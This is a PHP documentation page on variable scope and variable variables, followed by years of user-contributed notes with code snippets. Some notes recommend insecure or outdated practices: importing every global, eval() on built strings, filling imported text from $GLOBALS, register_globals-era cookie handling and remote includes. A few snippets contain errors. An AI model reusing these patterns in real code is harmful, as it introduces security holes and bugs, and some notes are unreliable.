My solution: Thus, to make all my global variables available to the files included with my safeinclude function, I had to add the following code to my safeinclude function (before variables are used or file is included)

<?php
foreach ($GLOBALS as $key => $val) { global $$key; }
?>

Thus, complete code looks something like the following (very basic model):

<?php
function safeinclude($filename)
{
    //This line takes all the global variables, and sets their scope within the function:
    foreach ($GLOBALS as $key => $val) { global $$key; }
    /* Pre-Processing here: validate filename input, determine full path
        of file, check that file exists, etc. This is obviously not
        necessary, but steps I found useful. */
    if ($exists==true) { include("$file"); }
    return $exists;
}
?>

In the above, 'exists' & 'file' are determined in the pre-processing. File is the full server path to the file, and exists is set to true if the file exists. This basic model can be expanded of course.  In my own, I added additional optional parameters so that I can call safeinclude to see if a file exists without actually including it (to take advantage of my path/etc preprocessing, verses just calling the file exists function).

Pretty simple approach that I could not find anywhere online; only other approach I could find was using PHP's eval().
nullhility at gmail dot com 29-Jan-2009 04:17
Like functions, if you declare a variable in a class, then set it as global in that class, its value will not be retained outside of that class either.

<?php
class global_reference
{
    public $val;

    public function __construct () {
        global $var;
        $this->val = $var;
    }

    public function dump_it ()
    {
        debug_zval_dump($this->val);
    }

    public function type_cast ()
    {
        $this->val = (int) $this->val;
    }
}
$var = "x";
$obj = new global_reference();
$obj->dump_it();
$obj->type_cast();
echo "after change ";
$obj->dump_it();
echo "original $var\n";
?>

The work-around is of course changing the assignment in the constructor to a reference assignment as such:

<?php
    //....
        $this->val = &var;
    //....
?>

If the global you're setting is an object then no reference is necessary because of the way PHP deals with objects. If you don't want to reference to the same object however you can use the clone keyword.

<?php
//...
    global $Obj;
    $this->obj_copy = clone $Obj;
//...
?>

[EDIT BY danbrown AT php DOT net:  Merged all thoughts and notes by this author into a single note.]
ddarjany at yahoo dot com 20-Aug-2008 05:15
Note that if you declare a variable in a function, then set it as global in that function, its value will not be retained outside of that function.  This was tripping me up for a while so I thought it would be worth noting.

<?PHP

foo();
echo $a; // echoes nothing

bar();
echo $b; //echoes "b";

function foo() {
  $a = "a";
  global $a;
}

function bar() {
  global $b;
  $b = "b";
}

?>
lgrk 28-May-2008 03:41
Useful function:
<?php
function cycle($a, $b, $i=0) {
    static $switches = array();
    if (isset($switches[$i])) $switches[$i] = !$switches[$i]; else !$switches[$i] = true;
    return ($switches[$i])?$a:$b;
}
?>

Exeample

<?php
for ($i = 1; $i<3; $i++) {
    echo $i.cycle('a', 'b').PHP_EOL;
    for ($j = 1; $j<5; $j++) {
        echo ' '.$j.cycle('a', 'b', 1).PHP_EOL;
        for ($k = 1; $k<3; $k++) {
            echo '  '.$k.cycle('c', 'd', 2).PHP_EOL;
        }
    }
}
/**
Output:
1a
 1a
  1c
  2d
 2b
  1c
  2d
 3a
  1c
  2d
 4b
  1c
  2d
2b
 1a
  1c
  2d
 2b
  1c
  2d
 3a
  1c
  2d
 4b
  1c
  2d
*/

?>
Anonymous 01-Mar-2008 08:10
I was pondering a little something regarding caching classes within a function in order to prevent the need to initiate them multiple times and not clutter the caching function's class properties with more values.

I came here because I remembered something about references being lost. So I made a test to see if I could pull what I wanted to off anyway. Here's and example of how to get around the references lost issue. I hope it is helpful to someone else!

<?php
class test1{}
class test2{}
class test3{}

function cache( $class )
{
    static $loaders = array();

    $loaders[ $class ] = new $class();

    var_dump( $loaders );
}
print '<pre>';
cache( 'test1' );
cache( 'test2' );
cache( 'test3' );

?>
SID TRIVEDI 27-Oct-2007 11:46
<?php
/*
VARIABLE SCOPE : GLOBAL V/S STATIC

If variable $count is defined global as under, instead of static, it does not work well as desired in repeated function calls.

$count = 1; //if not defined STATIC, in each function call, it starts countig from one to 25.
global $count;

which gives folowing output:
0123456789101112131415161718192021222324
Total 24 numbers are printed.
So far 26 function call(s) made.

26272829303132333435363738394041424344454647484950
Total 50 numbers are printed.
So far 52 function call(s) made.
*/

function print_1to50()
{
//    $count = 1;
//    global $count;
    static $count=1; // Initial assigment of One to $count, static declarion holds the last(previous) value of variable $count in each next function calls.
        $limit = $count+24;
        while($count<=$limit)
        {
        echo "$count";
        $count=$count+1;
        }
        $num_count= $count-1;
        echo "<br>\n". "Total $num_count numbers are printed.<br>";

        return; // return statement without parenthesis()or arguments denotes end of a function rather than returning any values to subsequent function call(s).
} // end of while loop

$count=0;
print_1to50();
$count=$count+1;
print "So far $count function call(s) made.<br><br>";

print_1to50();
$count=$count+1;
print "So far $count function call(s) made.<br>";
/*
Which gives following output:
12345678910111213141516171819202122232425
Now I have printed 25 numbers.
I have made 1 function call(s).
26272829303132333435363738394041424344454647484950
Now I have printed 50 numbers.
I have made 2 function call(s).
*/

?>
mod 14-Mar-2007 08:03
Can not access to global variables from destructor, if obj is not unseted at the end:

<?php

  class A
   {
     function __destruct()
      {
        global $g_Obj;
        echo "<br>#step 2: ";
        var_dump($g_Obj);
      }

     function start()
      {
        global $g_Obj;
        echo "<br>#step 1: ";
        var_dump($g_Obj);
      }
   };

  $g_Obj = new A();        // start here
  $g_Obj->start();
  $g_Obj = NULL;        // !!! comment line and result will changed !!!

?>

Result, if line is not commented:

#step 1: object(A)#1 (0) { }
#step 2: object(A)#1 (0) { }

Result, if line is commented:

#step 1: object(A)#1 (0) { }
#step 2: NULL
alan 12-Sep-2006 07:53
Using the global keyword inside a function to define a variable is essentially the same as passing the variable by reference as a parameter:

<?php
somefunction(){
   global $var;
}
?>

is the same as:

<?php
somefunction(& $a) {

}
?>

The advantage to using the keyword is if you have a long list of variables  needed by the function - you dont have to pass them every time you call the function.
sami doesn't want spam at no-eff-eks com 21-Jul-2006 06:18
PHP 5.1.4 doesn't seem to care about the static keyword. It doesn't let you use $this in a static method, but you can call class methods through an instance of the class using regular -> notation. You can also call instance methods as class methods through the class itself. The documentiation here is plain wrong.

<?php
class Foo {
  public static function static_fun()
  {
    return "This is a class method!\n";
  }

  public function not_static_fun()
  {
    return "This is an instance method!\n";
  }
}

echo '<pre>';
echo "From Foo:\n";
echo Foo::static_fun();
echo Foo::not_static_fun();
echo "\n";

echo "From \$foo = new Foo():\n";
$foo = new Foo();
echo $foo->static_fun();
echo $foo->not_static_fun();
echo '</pre>';
?>

You'll see the following output:

From Foo:
This is a class method!
This is an instance method!

From $foo = new Foo():
This is a class method!
This is an instance method!
larax at o2 dot pl 23-Mar-2006 12:38
About more complex situation using global variables..

Let's say we have two files:
a.php
<?php
    function a() {
        include("b.php");
    }
    a();
?>

b.php
<?php
    $b = "something";
    function b() {
        global $b;
        $b = "something new";
    }
    b();
    echo $b;
?>

You could expect that this script will return "something new" but no, it will return "something". To make it working properly, you must add global keyword in $b definition, in above example it will be:

global $b;
$b = "something";
franp at free dot fr 11-Feb-2006 01:25
If you want to access a table row using $GLOBALS, you must do it outside string delimiters or using curl braces :

<?php
$siteParams["siteName"] = "myweb";

function foo() {
$table = $GLOBALS["siteParams"]["siteName"]."articles";  // OK
echo $table; // output  "mywebarticles"
$table = "{$GLOBALS["siteParams"]["siteName"]}articles"; // OK
echo $table; // output  "mywebarticles"
$table = "$GLOBALS[siteParams][siteName]articles";       // Not OK
echo $table; // output  "Array[siteName]article"

$result = mysql_query("UPDATE $table ...");
}
?>

Or use global :

<?php
function foo() {
global $siteParams;
$table = "$siteParams[siteName]articles";         // OK
echo $table; // output  "mywebarticles"

$result = mysql_query("UPDATE $table ...");
}
?>
marcin 30-Dec-2005 06:07
Sometimes in PHP 4 you need static variabiles in class. You can do it by referencing static variable in constructor to the class variable:

<?php
class test  {

   var $var;
   var $static_var;
    function test()
    {
        static $s;
        $this->static_var =& $s;
    }

}

 $a=new test();

 $a->static_var=4;
 $a->var=4;

 $b=new test();

 echo $b->static_var; //this will output 4
 echo $b->var; //this will output nul
?>
warhog at warhog dot net 13-Dec-2005 09:22
Some interesting behavior (tested with PHP5), using the static-scope-keyword inside of class-methods.

<?php

class sample_class
{
  public function func_having_static_var($x = NULL)
  {
    static $var = 0;
    if ($x === NULL)
    { return $var; }
    $var = $x;
  }
}

$a = new sample_class();
$b = new sample_class();

echo $a->func_having_static_var()."\n";
echo $b->func_having_static_var()."\n";
// this will output (as expected):
//  0
//  0

$a->func_having_static_var(3);

echo $a->func_having_static_var()."\n";
echo $b->func_having_static_var()."\n";
// this will output:
//  3
//  3
// maybe you expected:
//  3
//  0

?>

One could expect "3 0" to be outputted, as you might think that $a->func_having_static_var(3); only alters the value of the static $var of the function "in" $a - but as the name says, these are class-methods. Having an object is just a collection of properties, the functions remain at the class. So if you declare a variable as static inside a function, it's static for the whole class and all of its instances, not for each object.

Maybe it's senseless to post that.. cause if you want to have the behaviour that I expected, you can simply use a variable of the object itself:

<?php
class sample_class
{ protected $var = 0;
  function func($x = NULL)
  { $this->var = $x; }
} ?>

I believe that all normal-thinking people would never even try to make this work with the static-keyword, for those who try (like me), this note maybe helpfull.
tc underline at gmx TLD ch 14-Sep-2005 12:06
Pay attention while unsetting variables inside functions:

<?php
$a = "1234";
echo "<pre>";
echo "outer: $a\n";
function testa()
{
    global $a;
    echo "   inner testa: $a\n";
    unset ($a);
    echo "   inner testa: $a\n";
}
function testb()
{
    global $a;
    echo "   inner testb: $a\n";
    $a = null;
    echo "   inner testb: $a\n";
}
testa();
echo "outer: $a\n";
testb();
echo "outer: $a\n";
echo "</pre>";
?>

/***** Result:
outer: 1234
   inner testa: 1234
   inner testa:
outer: 1234
   inner testb: 1234
   inner testb:
outer:
******/

Took me 1 hour to find out why my variable was still there after unsetting it ...

Thomas Candrian
thomas at pixtur dot de 08-Aug-2005 05:02
Be careful with "require", "require_once" and "include" inside functions. Even if the included file seems to define global variables, they might not be defined as such.

consider those two files:

---index.php------------------------------
<?php
function foo() {
 require_once("class_person.inc");

 $person= new Person();
 echo $person->my_flag; // should be true, but is undefined
}

foo();
?>

---class_person.inc----------------------------
<?php
$seems_global=true;

class Person {
  public $my_flag;

 public function  __construct() {
   global $seems_global;
   $my_flag= $seems_global
 }
}
?>

---------------------------------

The reason for this behavior is quiet obvious, once you figured it out. Sadly this might not be always as easy as in this example. A solution  would be to add the line...

<?php global $seems_global; ?>

at the beginning of "class_person.inc". That makes sure you set the global-var.

   best regards
    tom

ps: bug search time approx. 1 hour.
jameslee at cs dot nmt dot edu 16-Jun-2005 11:33
It should be noted that a static variable inside a method is static across all instances of that class, i.e., all objects of that class share the same static variable.  For example the code:

<?php
class test {
    function z() {
        static $n = 0;
        $n++;
        return $n;
    }
}

$a =& new test();
$b =& new test();
print $a->z();  // prints 1, as it should
print $b->z();  // prints 2 because $a and $b have the same $n
?>

somewhat unexpectedly prints:
1
2
kouber at php dot net 28-Apr-2005 02:36
If you need all your global variables available in a function, you can use this:

<?php
function foo() {
  extract($GLOBALS);
  // here you have all global variables

}
?>
27-Apr-2005 01:46
Be careful if your static variable is an array and you return
one of it's elements: Other than a scalar variable, elements
of an array are returned as reference (regardless if you
didn't define them to be returned by reference).

<?php
function incr(&$int) {
  return $int++;
}

function return_copyof_scalar() {
  static $v;
  if (!$v)
    $v = 1;
  return($v);
}

function return_copyof_arrayelement() {
  static $v;
  if (!$v) {
    $v = array();
    $v[0] = 1;
  }
  return($v[0]);
}

echo "scalar: ".
     incr(return_copyof_scalar()).
     incr(return_copyof_scalar()).
     "\n";
echo "arrayelement: ".
     incr(return_copyof_arrayelement()).
     incr(return_copyof_arrayelement()).
     "\n";
?>

Should print

scalar: 11
arrayelement: 11

but it prints:

scalar: 11
arrayelement: 12

as in the second case the arrays element was returned by
reference. According to a guy from the bug reports the
explanation for this behaviour should be somewhere here in
the documentation (in 'the part with title: "References with
global and static variables"'). Unfortunately I can't find
anything about that here. As the guys from the bug reports
are surely right in every case, maybe there is something
missing in the documentation. Sadly I don't have a good
explanation why this happens, so I decided to document at
least the behaviour.
vdephily at bluemetrix dot com 22-Apr-2005 11:51
Be carefull about nested functions :
<?php
// won't work :
function foo1()
{
  $who = "world";
  function bar1()
  {
    global $who;
    echo "Hello $who";
  }
}

// will work :
function foo2()
{
  $GLOBALS['who'] = "world";
  function bar2()
  {
    global $who;
    echo "Hello $who";
  }
}

// also note, of course :
function foo3()
{
  $GLOBALS['who'] = "world";

  // won't work
  echo "Hello $who";

  // will work
  global $who;
  echo "Hello $who";
}
?>
pulstar at ig dot com dot br 09-Sep-2004 03:02
If you need all your global variables available in a function, you can use this:

<?php

function foo(parameters) {
  if(version_compare(phpversion(),"4.3.0")>=0) {
    foreach($GLOBALS as $arraykey=>$arrayvalue) {
      global $$arraykey;
    }
  }
  // now all global variables are locally available...
}

?>
info AT SyPlex DOT net 01-Sep-2004 02:35
Some times you need to access the same static in more than one function. There is an easy way to solve this problem:

<?php
  // We need a way to get a reference of our static
  function &getStatic() {
    static $staticVar;
    return $staticVar;
  }

  // Now we can access the static in any method by using it's reference
  function fooCount() {
    $ref2static = & getStatic();
    echo $ref2static++;
  }

  fooCount(); // 0
  fooCount(); // 1
  fooCount(); // 2
?>
Michael Bailey (jinxidoru at byu dot net) 04-Jun-2004 08:43
Static variables do not hold through inheritance.  Let class A have a function Z with a static variable.  Let class B extend class A in which function Z is not overwritten.  Two static variables will be created, one for class A and one for class B.

Look at this example:

<?php
class A {
    function Z() {
        static $count = 0;
        printf("%s: %d\n", get_class($this), ++$count);
    }
}

class B extends A {}

$a = new A();
$b = new B();
$a->Z();
$a->Z();
$b->Z();
$a->Z();
?>

This code returns:

A: 1
A: 2
B: 1
A: 3

As you can see, class A and B are using different static variables even though the same function was being used.
Randolpho 02-Apr-2004 09:53
More on static variables:

A static variable does not retain it's value after the script's execution. Don't count on it being available from one page request to the next; you'll have to use a database for that.

Second, here's a good pattern to use for declaring a static variable based on some complex logic:

<?php
  function buildStaticVariable()
  {
      $foo = null;
      // some complex expression or set of
      // expressions/statements to build
      // the return variable.
      return $foo;
  }

  function functionWhichUsesStaticVar()
  {
      static $foo = null;
      if($foo === null) $foo = buildStaticVariable();
      // the rest of your code goes here.
  }
?>

Using such a pattern allows you to separate the code that creates your default static variable value from the function that uses it. Easier to maintain code is good. :)
jmarbas at hotmail dot com 17-Jan-2004 12:34
Whats good for the goose is not always good for the iterative gander. If you declare and initialize the static variable more than once inside a function ie.

<?php
function Test(){
   static $count = 0;
   static $count = 1;
   static $count = 2;
   echo $count;
}
?>

the variable will take the value of the last declaration. In this case $count=2.

But! however when you make that function recursive ie.

<?php
  function Test(){
   static $count = 0;
   static $count = 1;
   static $count = 2;

   $count++;
   echo $count;
   if ($count<10){
     Test();
   }
  }
?>

Every call to the function Test() is a differenct SCOPE and therefore the static declarations and initializations are NOT executed again. So what Im trying to say is that its OK to declare and initialize a static variable multiple times if you are in one function... but its NOT OK to declare and initialize a static variable multiple times if you call that same function multiple times. In other words the static variable is set once you LEAVE a function (even if you go back into that very same function).
Jack at soinsincere dot com 14-Nov-2003 07:11
Alright, so you can't set a static variable with a reference.
However, you can set a static variable to an array with an element that is a reference:
<?php

class myReference {
    function getOrSet($array = null) {
        static $myValue;
        if (!$array) {
            return $myValue[0];     //Return reference in array
        }
        $myValue = $array;          //Set static variable with array
        static $myValue;
    }
}

$static = "Dummy";

$dummy = new myReference;
$dummy->getOrSet(array(&$static));

$static = "Test";
print $dummy->getOrSet();

?>
flobee at gmx dot net 06-Nov-2003 09:26
i found out that on any (still not found) reason the <?php static $val =NULL; ?> is not working when trying to extract the data form the $var with a while statment
e.g.:
<?php
funktion get_data() {
static $myarray = null;
   if($myarray == NULL) {
     //get some info in an array();
     $myarray = array('one','two');
   }
   while(list($key,$val) = each( $myarray ) ) {
   // do something
   echo "x: $key , y: $val";
   }
}
?>
when using foreach($myarray AS $key => $val) { .... instad of while then i see the result!
ppo at beeznest dot net 09-Jul-2003 03:59
Even if an included file return a value using return(), it's still sharing the same scope as the caller script!

<?php
$foo = 'aaa';
$bar = include('include.php');
echo($foo.' / '.$bar);
?>

where include.php is
<?php
$foo = 'bbb';
return $foo;
?>

The output is: bbb / bbb
Not: aaa / bbb
jg at nerd-boy dot net 08-Feb-2003 01:10
It's possible to use a variable variable when specifying a variable as global in a function. That way your function can decide what global variable to access in run-time.

<?php
function func($varname)
{
   global $$varname;

   echo $$varname;
}

$hello = "hello world!";
func("hello");
?>

This will print "hello world!", and is roughly the same as passing by reference, in the case when the variable you want to pass is global. The advantage over references is that they can't have default parameters. With the method above, you can do the following.

<?php
function func($varname = FALSE)
{
   if ($varname === FALSE)
     echo "No variable.";
   else
   {
     global $$varname;

     echo $$varname;
   }
}

$hello = "hello world!";
func("hello");                   // prints "hello world!"
func();                          // prints "No variable."
?>
wjs@sympaticoDOTca 10-Dec-2002 06:03
Becareful where you define your global variables:

This will work:
<?php
  $MyArray = array("Dog");

  function SeeArray(){
    global $MyArray;
    if (in_array("Dog",$MyArray)){
      foreach ($MyArray as $Element){
        echo "$Element <hr/>";
      }
    }
  }

  SeeArray();
?>

while this will not:
<?php
  SeeArray();
  $MyArray = array("Dog");

  function SeeArray(){
    global $MyArray;
    if (in_array("Dog",$MyArray)){ // an error will generate here
      foreach ($MyArray as $Element){
        echo "$Element <hr/>";
      }
    }
  }

?>
heatwave at fw dot hu 15-Oct-2002 02:12
Some people (including me) had a problem with defining a long GLOBAL variable list in functions (very error prone). Here is a possible solution. My program parses php file for functions, and compiles GLOBAL variable lists. Then you can just remove from the list those variables which need not be global.

<?php
    //parser for GLOBAL variable list
    $pfile=file("myfile.php4");

    for($i=0;$i<sizeof($pfile);$i++) {
     if(eregi("function",$pfile[$i])) {
      list($part1,$part2)=sscanf($pfile[$i],"%s %s");
      echo "\n\n $part1 $part2:\nGLOBAL ";

      $varlist=array();
      $level=0; $end=$i;
      do {
       $lpar=explode("{",$pfile[$end]);
       $level+=sizeof($lpar)-1;
       $lpar=explode("}",$pfile[$end]);
       $level-=sizeof($lpar)-1;
       $end++;
      } while(($end<sizeof($pfile))&&($level>0));
      $pstr="";
      for($j=$i;$j<=$end;$j++) $pstr.=$pfile[$j];
      $lpar=explode("$",$pstr);
      for($j=1;$j<sizeof($lpar);$j++) {
          eregi('[a-zA-Z_][a-zA-Z0-9_]*',$lpar[$j],$cvar);
        $varlist[$cvar[0]]=1;
      }
      array_walk($varlist,'var_print');
     }
    }
function var_print ($item, $key) {
     echo "$key,";
 }
?>
30-Apr-2002 10:14
Seems as though when a cookie is saved and referenced as a variable of the same name as the cookie, that variable is NOT global.  If you make a function ro read the value of the cookie, the cooke variable name must be declared as a global.

example:

<?php
function ReturnCookie()
{
        $cookieName = "Test_Cookie";
        global $$cookieName;
        if (isset($$cookieName))
        {
                echo ("$cookieName is set");
                $returnvalue = $$cookieName;
        }
        else
        {
                $newCookieValue = "Test Value";
                setcookie("$cookieName","$newCookieValue", (time() + 3153600));
                echo ("made a cookie:" . $newCookieValue ."<BR>");
                $returnvalue = $newCookieValue;
        }
        echo ("the cookie that was set is now $returnvalue <BR>");
        return $returnvalue;
}
?>
huntsbox at pacbell dot net 03-Apr-2002 05:11
Not sure of the implications of this but...
You can create nested functions within functions but you must make sure they aren't defined twice, e.g.:

<?php
function norm($a, $b) {
    static $first_time = true;
    if ($first_time) {
        function square($x) {
            return $x * $x;
        }
        $first_time = false;
    }
    return sqrt(square($a) + square($b));
}

print square(5); // error, not defined yet
print norm(5,4);
print "<br>";
print norm(3,2);
print square(5); // OK
?>

If you don't include the if ($first_time) you get an error saying you can't define square() twice.  Note that square is not local to the function it just appears there.  The last line successfully accesses square in the page scope.  This is not terribly useful, but interesting.
jochen_burkhard at web dot de 29-Mar-2002 08:47
Please don't forget:
values of included (or required) file variables are NOT available in the local script if the included file resides on a remote server:

remotefile.php:

<?PHP
$paramVal=10;
?>

localfile.php:

<?PHP
include "http://example.com/remotefile.php";
echo "remote-value= $paramVal";
?>

Will not work (!!)
steph_rondinaud at club-internet dot fr 09-Feb-2002 01:41
I'm using PHP 4.1.1

While designing a database access class, I needed a static variable that will be incremented for all instances of the class each time the class connected to the database. The obvious solution was to declare a "connection" class variable with static scope. Unfortunatly, php doesn't allow such a declaration.
So I went back to defining a static variable in the connect method of my class. But it seems that the static scope is not inherited: if class "a" inherit the "db access" class, then the "connection" variable is shared among "a" instances, not among both "a" AND "db access" instances.
Solution is to declare the static variable out of the db access class, and declare "global" said variable in the connect method.
admin at essentialhost dot com 04-Feb-2002 03:30
Quick tip for beginners just to speed things up:
If you have a bunch of global variables to import into a function, it's best to put them into a named array like $variables[stuff].
When it's time to import them you just so the following;

<?php
function here() {
  $vars = $GLOBALS['variables'];
  print $vars[stuff];

}
?>

This really helps with big ugly form submissions.
tomek at pluton dot pl 10-Dec-2001 07:53
When defining static variables you may use such declarations:

<?php
static $var = 1; //numbers
static $var = 'strings';
static $var = array(1,'a',3); //array construct
?>

but these ones would produce errors:

<?php
static $var = some_function('arg');
static $var = (some_function('arg'));
static $var = 2+3; //any expression
static $var = new object;
?>
danno at wpi dot edu 24-Jul-2001 09:28
WARNING!  If you create a local variable in a function and then within that function assign it to a global variable by reference the object will be destroyed when the function exits and the global var will contain NOTHING!  This main sound obvious but it can be quite tricky you have a large script (like a phpgtk-based gui app ;-) ).

example:

<?php
function foo ()
{
   global $testvar;

   $localvar = new Object ();
   $testvar = &$localvar;
}

foo ();
print_r ($testvar);   // produces NOTHING!!!!
?>

hope this helps someone before they lose all their hair
carpathia_uk at mail dot com 07-May-2001 11:21
On confusing aspect about global scope...

If you want to access a variable such as a cookie inside a function, but theres a chance it may not even be defined, you need to access it using he GLOBALS array, not by defining it as global.

This wont work correctly....

<?php
function isLoggedin()
{
global $cookie_username;
if (isset($cookie_username)
echo "blah..";
}
?>

This will..

<?php
function isLoggedin()
{
if (isset($GLOBALS["cookie_username"]))
echo "blah..";
}
?>
shevek at anarres dot org 05-Feb-2000 01:51
If you include a file from within a function using include(), the included file inherits the function scope as its own global scope, it will not be able to see top level globals unless they are explicit in the function.

<?php
$foo = "bar";
function baz() {
    global $foo; # NOTE THIS
    include("qux");
}
?>


Variable variables

Sometimes it is convenient to be able to have variable variable names. That is, a variable name which can be set and used dynamically. A normal variable is set with a statement such as:

<?php
$a = 'hello';
?>

A variable variable takes the value of a variable and treats that as the name of a variable. In the above example, hello, can be used as the name of a variable by using two dollar signs. i.e.

<?php
$$a = 'world';
?>

At this point two variables have been defined and stored in the PHP symbol tree: $a with contents "hello" and $hello with contents "world". Therefore, this statement:

<?php
echo "$a ${$a}";
?>

produces the exact same output as:

<?php
echo "$a $hello";
?>

i.e. they both produce: hello world.

In order to use variable variables with arrays, you have to resolve an ambiguity problem. That is, if you write $$a[1] then the parser needs to know if you meant to use $a[1] as a variable, or if you wanted $$a as the variable and then the [1] index from that variable. The syntax for resolving this ambiguity is: ${$a[1]} for the first case and ${$a}[1] for the second.

Class properties may also be accessed using variable property names. The variable property name will be resolved within the scope from which the call is made. For instance, if you have an expression such as $foo->$bar, then the local scope will be examined for $bar and its value will be used as the name of the property of $foo. This is also true if $bar is an array access.

Curly braces may also be used, to clearly delimit the property name. They are most useful when accessing values within a property that contains an array, when the property name is made of mulitple parts, or when the property name contains characters that are not otherwise valid (e.g. from json_decode() or SimpleXML).

Example #1 Variable property example

<?php
class foo {
    var $bar = 'I am bar.';
    var $arr = array('I am A.', 'I am B.', 'I am C.');
    var $r   = 'I am r.';
}

$foo = new foo();
$bar = 'bar';
$baz = array('foo', 'bar', 'baz', 'quux');
echo $foo->$bar . "\n";
echo $foo->$baz[1] . "\n";

$start = 'b';
$end   = 'ar';
echo $foo->{$start . $end} . "\n";

$arr = 'arr';
echo $foo->$arr[1] . "\n";
echo $foo->{$arr}[1] . "\n";

?>

The above example will output:

I am bar.
I am bar.
I am bar.
I am r.
I am B.

Warning

Please note that variable variables cannot be used with PHP's Superglobal arrays within functions or class methods. The variable $this is also a special variable that cannot be referenced dynamically.

User Contributed Notes

cottton at i-stats dot net 12-Sep-2014 11:44
<?php
$key        = 'post';
$type       = '_'.strtoupper($key);
$copy       = ${$type}; // is a copy of $_POST

// btw:
$reference  = &${$type}; // is a ref to $_POST
?>
Aycan Yat 20-Oct-2013 03:15
Sometimes you might wish to modify value of an existing variable by its name. This is easily accomplishable with a combination of using "passing by reference" and "variable variables".

$first_var = 1;
$second_var = 2;
$third_var = 3;

$which_one = array_rand('first', 'second', 'third');
//Let's consider the result is "second".

$modifier = $$which_one;  //Now $modifier has value 2.
$modifier++; //Now $modifier's value is 3.
echo $second_var; //Prints out 2

//Consider we wish to modify the value of $second_var
$modifier = &$$which_one;  //Simply passing by reference
$modifier++; //Now value of $second_var is 3 too.
echo $second_var; //Prints out 3

It's that simple!
espertalhao04 at hotmail dot com 15-Oct-2013 07:29
a tiny code to set variables if they don't have value yet:
<?php
    function setvar($n,$v){global$$n;if(!isset($$n))$$n=$v;}
?>
this works under any scope, even when called inside another function!
coviex at gmail dot com 08-Sep-2013 11:31
In 5.4 "Dynamic class references require the fully qualified class name (with the namespace in it) because at runtime there is no information about the current namespace." is still true.
Neither simple class name nor containing subnamespace works.
Initial source: https://bugs.php.net/bug.php?id=45197
aneesiqbalbhatti at gmail dot com 06-Sep-2013 08:27
<?php
$he = 'loves';
$loves = 'you';
$you = 'he';
echo $$$he." ".$$$$he." ".$$he;
cgray at metamedia dot us 05-Aug-2013 11:14
Returning values from a multidimensional array based using variable variables
and infinite key depth

I banged my head against this but could not find a way in language structure or
in functions to retreive a value from a multidimensional array where the key
path is known as a variable string. I considered some sort of recursive
function, but it seemed cumbersome for what should be a one-liner.

My solution uses eval() to return the array value:

<?php

$geolocation = array("ip"=>"127.0.0.1", "location" => array("city" =>
"Knoxville", "state_province" => "TN", "country" => "USA"));

print_r($geolocation); // Array ( [ip] => 127.0.0.1 [location] => Array ( [city]
=> Knoxville [state_province] => TN [country] => USA ) )

// typical use of variable variables
$key = "ip";
$result = $geolocation[$key];
print_r($result); // 127.0.0.1

$key = "location"; // another typical use of variable variables
$result = $geolocation[$key];
print_r($result); // Array ( [city] => Knoxville [state_province] => TN
[country] => USA )

// but how do we go deeper? this does NOT work
$key = "location['city']";
// $result = $geolocation[$key]; // Notice: Undefined index: location['city']
// print_r($result);

// this does NOT work
$key = "['location']['city']";
// $result = $geolocation{$key}; // Notice: Undefined index: ['location']
['city']
// print_r($result);

// this works:
$key = "['location']['city']";
$result = eval('echo $geolocation'."$key;");
print_r($result); // Knoxville

?>
David Forger 19-Jul-2013 06:33
Parse an imported string e.g. from a database for php variable names and replace them with their values.

example:
In the String "Dear $firstname $lastname, welcome to our Homepage" the variables shall be replaced with the respective values.

<?php
$welcome = getImportedString();
$firstname = "David";
$lastname = "Forger";

echo $welcome;
// before replacement output will be:
//"Dear $firstname $lastname, welcome to our Homepage"

function replaceVars($match) {
       return $GLOBALS[$match[1]];
}
$welcome = preg_replace_callback('/\$(\w+)/i', "replaceVars", $welcome);

echo $welcome;
//now output will be:
//"Dear David Forger, welcome to our Homepage"
?>
nils dot rocine at gmail dot com 28-Jun-2012 10:58
Variable Class Instantiation with Namespace Gotcha:

Say you have a class you'd like to instantiate via a variable (with a string value of the Class name)

<?php

class Foo
{
    public function __construct()
    {
        echo "I'm a real class!" . PHP_EOL;
    }
}

$class = 'Foo';

$instance = new $class;

?>

The above works fine UNLESS you are in a (defined) namespace. Then you must provide the full namespaced identifier of the class as shown below. This is the case EVEN THOUGH the instancing happens in the same namespace. Instancing a class normally (not through a variable) does not require the namespace. This seems to establish the pattern that if you are using an namespace and you have a class name in a string, you must provide the namespace with the class for the PHP engine to correctly resolve (other cases: class_exists(), interface_exists(), etc.)

<?php

namespace MyNamespace;

class Foo
{
    public function __construct()
    {
        echo "I'm a real class!" . PHP_EOL;
    }
}

$class = 'MyNamespace\Foo';

$instance = new $class;

?>
ckelley at ca-cycleworks dot com 01-Apr-2012 12:34
Unlike as stated near the bottom of this thread, using variables to point to an object does not always work. In my case, that is the object returned from `new SimpleXMLElement($xmlstr)`.

Once my nodes got 3 and 4 deep to access customer information from orders, I knew something drastic had to be done.

<?php
$xmlstr ="<xml><foo><bar><you>Blah</you></bar></foo></xml>";

$xml=SimpleXMLElement($xmlstr);
// no matter what you feed it, it works...
$lvl1="\$xml->foo";
echo n($lvl1."->bar->you");

// n will return Blah as we would hope.

function n($node){
    global $xml;
    return eval("return $node;");
}

?>
Omar Juvera 08-Aug-2011 06:13
In this example, I have the variable $city.
To store the variable $city inside another variable:

<?php
$city = 'New York';

$var_container = 'city'; //$var_container will store the variable $city

echo "CONTAINER's var: " . $var_container;
echo "<br />";
echo "CONTAINER's value: " . $$var_container;
echo "<br />";
echo "VAR city: " . $city;
?>

The OUTPUT is:
CONTAINER's var: city
CONTAINER's value: New York
VAR city: New York
Omar Juvera 07-Aug-2011 10:40
The example given in the php manual is confusing!
I think this example it's easier to understand:

<?php

//Let's create a new variable: $new_variable_1
$var_name = "new_variable_1"; //$var_name will store the NAME of the new variable

//Let's assign a value to that [$new_variable_1] variable:
$$var_name  = "value 1"; //Value of $new_variable_1 = "value 1"

echo "VARIABLE: " . $var_name;
echo "<br />";
echo "VALUE: " . $$var_name;
?>

The OUTPUT is:
VARIABLE: new_variable_1
VALUE: value 1

You can also create new variables in a loop:
<?php

for( $i = 1; $i < 6; $i++ )
{
$var_name[] = "new_variable_" . $i; //$var_name[] will hold the new variable NAME
}

${$var_name[0]}  = "value 1"; //Value of $new_variable_1 = "value 1"
${$var_name[1]}  = "value 2"; //Value of $new_variable_2 = "value 2"
${$var_name[2]}  = "value 3"; //Value of $new_variable_3 = "value 3"
${$var_name[3]}  = "value 4"; //Value of $new_variable_4 = "value 4"
${$var_name[4]}  = "value 5"; //Value of $new_variable_5 = "value 5"

echo "VARIABLE: " . $var_name[0] . "\n";
echo "<br />";
echo "VALUE: " . ${$var_name[0]};
?>

The OUTPUT is:
VARIABLE: new_variable_1
VALUE: value 1
andre at AWizardOfAss dot com 21-Jan-2011 10:39
